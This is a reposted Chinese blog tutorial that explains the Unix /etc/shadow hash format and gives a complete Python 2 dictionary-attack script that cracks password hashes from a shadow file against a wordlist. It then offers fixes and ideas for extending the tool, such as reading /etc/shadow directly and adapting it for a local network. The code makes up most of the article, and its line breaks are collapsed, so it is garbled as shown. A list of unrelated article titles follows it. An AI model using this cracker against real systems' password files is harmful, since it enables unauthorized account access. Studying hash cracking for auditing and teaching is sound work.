python-1-破解unix密码/etc/shadow
来源:互联网 发布:手机app编程自学 编辑:程序博客网 时间:2024/06/05 03:25
1、unix系统密码文件/etc/shadow
其中第二字段为加密后的密码(*开头为不能登录的用户,!!开头为过期的用户,也不能登录)
第二字段格式
$id$salt$encrypted
id代表hash算法:
SHA-512
另一种salt概念:
这个Salt用于对明文加密
Salt={$id$固定字数随机字符$}
(普通字符的固定字数为2,含有特殊字符的固定字数也是一个随机数,特殊字符/.等)
2、方法或函数
a)索引
start_index=lst.find("$") #获取第一个$字符的索引值
finish_index=lst.rfind("$") #获取最后一个$字符出现的位置的索引值(从右往左查询)
Salt=lst[start_index:finish_index+1] #获取加密salt字符串
sys.argv() #获得参数的个数
str.startswith(str) #检查字符串是否以指定字符开头
import cryptimport sysdef testPass(cryptPass):#dictfile=open('dictionary.txt','r')start_index=cryptPass.find("$")finish_index=cryptPass.rfind("$")salt=cryptPass[start_index:finish_index+1]try:dictfile=open(sys.argv[2],'r')except Exception,e:print "Error ! "+str(e)exit(0)for word in dictfile.readlines():word=word.strip('\n')cryptWord=crypt.crypt(word,salt)if cryptWord==cryptPass:print "[+] Found Password: " +word+ " \n"returnprint('[-] Password not found!')returndef main():if len(sys.argv)==3:try:shadowfile=open(sys.argv[1])except Exception,e:print "Error !" +str(e)exit(0)else:print "Usage:python ShadowCracker.py [shadow file] [dictionary file]"exit(0)passfile=open('passwords.txt','r')for line in passfile.readlines():user=line.split(':')[0]cryptPass=line.split(':')[1].strip('\n')print "[*] Cracking Password For: " +usertestPass(cryptPass)if __name__=='__main__':main()
4、问题
a)语句错误,在第一个word不匹配时就过早判断password not found,不能完整的遍历字典
for word in dictfile.readlines():word=word.strip('\n')cryptWord=crypt.crypt(word,salt)if cryptWord==cryptPass:print "[+] Found Password: " +word+ " \n"returnelse:print('[-] Password not found!')return
b)参数传递进函数,最好直接读取/etc/shadow,避免cat到另外文件出错导致无法破解或者salt值错误、加密的密码不对等问题。
5、 优化
a)在代码中加入异常判断
b)排除无法登录的用户
if not (cryptPass.startswith('*') or cryptPass.startswith('!')):
c)重定向日志
d)改进为局域网型
阅读全文
0 0
- python-1-破解unix密码/etc/shadow
- 利用Python 破解类unix系统 /etc/shadow 文件hashed password
- Python列出shadow密码
- 用户配置文件/etc/passwd和密码配置文件/etc/shadow详解
- Linux & Unix 密码破解
- Linux 密码爆破 shadow 文件解密 破解
- /etc/shadow
- /etc/shadow
- etc/shadow
- /etc/shadow
- /etc/passwd&/etc/shadow
- /etc/passwd, /etc/shadow
- /etc/passwd, /etc/shadow
- /etc/passwd & /etc/shadow
- busybox 文件系统 etc目录,登陆 login,密码 password,shadow
- busybox 文件系统 etc目录,登陆 login,密码 password,shadow
- Linux中生成/etc/shadow的加密密码
- busybox 文件系统 etc目录,登陆 login,密码 password,shadow
- Java字节码执行方式--解释执行和JIT
- 开启僵尸对象(Zombie Objects)来定位内存问题
- Java基础——POI导出Excel
- 记录一些平时查找资料发现的网站或者博客
- Java设计模式
- python-1-破解unix密码/etc/shadow
- python 拷贝
- RN调试的坑
- java-操作 Excel
- 一个简单的jquery图片轮播插件
- Snackbar简单使用及源码浅析
- Unity 读取 Excel 表格 配置 游戏 参数
- Windows编译出的Botan库运行起来崩溃问题的解决
- C/C++类与面向对象